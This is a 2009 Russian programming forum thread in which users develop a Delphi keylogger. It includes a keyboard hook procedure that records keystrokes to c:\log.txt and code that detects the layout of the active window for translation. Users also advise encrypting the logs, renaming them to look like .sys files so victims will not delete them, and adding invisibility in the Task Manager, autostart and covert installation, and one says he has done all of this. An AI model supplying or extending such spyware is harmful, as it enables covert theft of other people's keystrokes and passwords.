Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 03.10.2009, 18:17   #41
DeKot
Участник клуба
 
Аватар для DeKot
 
Регистрация: 12.08.2008
Сообщений: 1,977
По умолчанию

Вообще то у меня создавался файл с датой в имени, правда я пробовал не 'c'(дата и время),а 'ddddd' (только дата).
Вопрос в другом - как отловить текущую раскладку клавиатуры, что бы сразу логить на выбранном языке?
И не сомневайся даже ... отдых - кайф, работа - лажа!
DeKot вне форума Ответить с цитированием
Старый 03.10.2009, 19:00   #42
ОДИНОЧЕСТВО В СЕТИ
Любопытная Вредина
Участник клуба
 
Аватар для ОДИНОЧЕСТВО В СЕТИ
 
Регистрация: 19.06.2009
Сообщений: 1,285
По умолчанию

Цитата:
как отловить текущую раскладку клавиатуры
Цитата:
Нужно ловить сообщение WM_INPUTLANGCHANGEREQUEST

или



procedure TForm1.Timer1Timer(Sender: TObject);
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
GetKeyboardLayoutName(Layout);
if Layout = '00000409' then
label1.caption:='en'
else
label1.caption:='ru';
end;
delphiworld
Дурь - это особая форма материи, которая не возникает ниоткуда и не исчезает никуда, а лишь переходит из одной головы в другую.
ОДИНОЧЕСТВО В СЕТИ вне форума Ответить с цитированием
Старый 03.10.2009, 20:41   #43
DeKot
Участник клуба
 
Аватар для DeKot
 
Регистрация: 12.08.2008
Сообщений: 1,977
По умолчанию

To ОДИНОЧЕСТВО В СЕТИ
Спасибо, любопытная!!! Прекрасно работает.Прикручу к keylogger-у.
И не сомневайся даже ... отдых - кайф, работа - лажа!
DeKot вне форума Ответить с цитированием
Старый 03.10.2009, 21:07   #44
Lime
Форумчанин
 
Аватар для Lime
 
Регистрация: 10.02.2009
Сообщений: 815
Радость

Цитата:
Сообщение от DeKot Посмотреть сообщение
To ОДИНОЧЕСТВО В СЕТИ
Спасибо, любопытная!!! Прекрасно работает.Прикручу к keylogger-у.
У меня сразу была идея так сделать один только вопрос на сколько тормозить будет само определене раскладки ...
ПС: Отстреливался от примера Stilet'a
Да , и ещё было лень писать соответсвие
Цитата:
q=й
w=ц
e=у
r=к
t=е
y=н
Ну итп)) А ещё лучше вообще код записывать а не преобразовывать всё этол дело в открытый текс , а потом код щифровать ещё чем-нибудь - и назвать файл уж не mykeylogger-logfile.txt а чтонить непонятное например с расширением sys и если открыть блокнотом то было бы явно неинтересно читать "это" ) и юзер не удалил бы в случае "обнаружения" ))

Думаю это нмогим понятно , просто хотел выразить свою точку зрения.
Lime вне форума Ответить с цитированием
Старый 03.10.2009, 22:37   #45
DeKot
Участник клуба
 
Аватар для DeKot
 
Регистрация: 12.08.2008
Сообщений: 1,977
По умолчанию

Цитата:
А ещё лучше вообще код записывать а не преобразовывать всё этол дело в открытый текс , а потом код щифровать ещё чем-нибудь - и назвать файл уж не mykeylogger-logfile.txt а чтонить непонятное например с расширением sys и если открыть блокнотом то было бы явно неинтересно читать "это" ) и юзер не удалил бы в случае "обнаружения" ))
Это уже чисто хакерские требования.Лично я не ставлю перед собой задачи скрытности (пока не требуется). Вся разработка чисто для практических навыков (читай самообучние).
Если дальше развивать тему (в хакерском понимании) - то нужно добавить 1. невидимость хотя бы в панели задач (в идеале и в Диспетчере); 2. автозапуск; 3. "невидимое внедрение" в комп.; 4. доступность к логам.
Это просто перечисление логического порядка создания проги-шпиона, а не желание или требование.
В принципе, по отдельности все эти темы уже обсуждались не раз и есть решения. Это еще не значит плохие намерения (черьви-вири, шпионаж и т.п.).Даже для того что бы защищаться от чужого внедрения в систему надо знать принципы таких нападений.
К сожалению код
Код:
procedure TForm1.Timer1Timer(Sender: TObject);
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
GetKeyboardLayoutName(Layout);
if Layout = '00000409' then
label1.caption:='en'
else
label1.caption:='ru';
end;
прекрасно работает в открытом проекте Дельфи, но если перейти в любое другое приложение, то раскладка уже не определяется. Жаль!
Надо бы, чтоб определялясь раскладка, даже если фокус на другом приложении.
И не сомневайся даже ... отдых - кайф, работа - лажа!

Последний раз редактировалось DeKot; 03.10.2009 в 22:43.
DeKot вне форума Ответить с цитированием
Старый 04.10.2009, 02:16   #46
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от DeKot Посмотреть сообщение
Это уже чисто хакерские требования.Лично я не ставлю перед собой задачи скрытности (пока не требуется). Вся разработка чисто для практических навыков (читай самообучние).
Если дальше развивать тему (в хакерском понимании) - то нужно добавить 1. невидимость хотя бы в панели задач (в идеале и в Диспетчере); 2. автозапуск; 3. "невидимое внедрение" в комп.; 4. доступность к логам.
а я уже добавил все это...но думаю проверять раскладку нет надобности...с двумя лог файлами даже удобнее
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 04.10.2009, 05:25   #47
ОДИНОЧЕСТВО В СЕТИ
Любопытная Вредина
Участник клуба
 
Аватар для ОДИНОЧЕСТВО В СЕТИ
 
Регистрация: 19.06.2009
Сообщений: 1,285
По умолчанию

2Dekot
вот раскладка в любом активном окне
Код:
if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
  //раскладка английская
else
  //раскладка НЕанглийская, например 68748313 соответствует русской
Дурь - это особая форма материи, которая не возникает ниоткуда и не исчезает никуда, а лишь переходит из одной головы в другую.
ОДИНОЧЕСТВО В СЕТИ вне форума Ответить с цитированием
Старый 04.10.2009, 12:54   #48
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от ОДИНОЧЕСТВО В СЕТИ Посмотреть сообщение
2Dekot
вот раскладка в любом активном окне
Код:
if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
  //раскладка английская
else
  //раскладка НЕанглийская, например 68748313 соответствует русской
а я вот не пойму как и куда это надо записать в основной код((...извините конечно...не могли бы объяснить....вообще кто нибудь может объяснить мне или дать ссылку чтоб я полностью понял как эта прога работает???
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 04.10.2009, 18:43   #49
DeKot
Участник клуба
 
Аватар для DeKot
 
Регистрация: 12.08.2008
Сообщений: 1,977
По умолчанию

Объявляем переменную-флаг Language: boolean; (false - латинская раскладка или англ яз., true - русский).В обработчик таймера вставляем этот код
Код:
if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
  language:= false; //раскладка английская
else
 language:= true; //раскладка НЕанглийская, например 68748313 соответствует русской
В основной программе по значениям этого флага переводим выловленные хуки в русский или английский текст (используйте оператор if ... then ... else.
И не сомневайся даже ... отдых - кайф, работа - лажа!
DeKot вне форума Ответить с цитированием
Старый 04.10.2009, 22:30   #50
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Код:
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
  Inc(N_char);
   with Form1 do
    begin
       if N_char = 40 then  // длина строки - 40 знаков
      begin
        Memo1.lines.Text:= Memo1.lines.Text + #10#13;  // перевод строки
        N_char:= 0;
      end;
      if ord(c[1]) > 0 then  // признак служебных клавиш
      begin
        Memo1.lines.Text:= Memo1.lines.Text + ' ' + c + ' ';  // служебные клавиши выделяем пробелом
      end
        else
      begin
         if Language then   // русская раскладка
           begin
          for i:= 65 to 90 do
          begin
            if ord(c[0]) = i then begin j:= i - 65; BREAK; end;
          end;
          Memo1.lines.Text:= Memo1.lines.Text  + rus[j] // замена англ. симв. на русские
          end
          else Memo1.lines.Text:= Memo1.lines.Text + c;  // англ. символы

      end;
        Memo1.lines.SaveToFile('c:\log.txt');
      end;
      result:=callnexthookex(h,code,wparam,lparam);
    end;
end;
вот так я сделал..вроде работает..но вместо букв э,б,х,ъ,ю он просто ставит 'ф' и еще когда набираешь цифры на верху а не на num lock тоже ставит ф вместо цифр.....моя проблема в том что я не совсем понимаю весь этот код...

From Stilet: Господа, имейте совесть - оформляйте ею код по кнопке #.
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось Stilet; 05.10.2009 в 09:49.
betirsolt вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
:::Keylogger::: doniyor Общие вопросы Delphi 15 02.03.2012 19:56
keylogger DeDoK Общие вопросы Delphi 15 06.06.2010 00:15
Keylogger, проблемы andreibtzt Win Api 9 05.06.2010 17:51
обновление в блоге - Клавиатурный шпион. Pblog Обсуждение статей 0 27.05.2007 03:17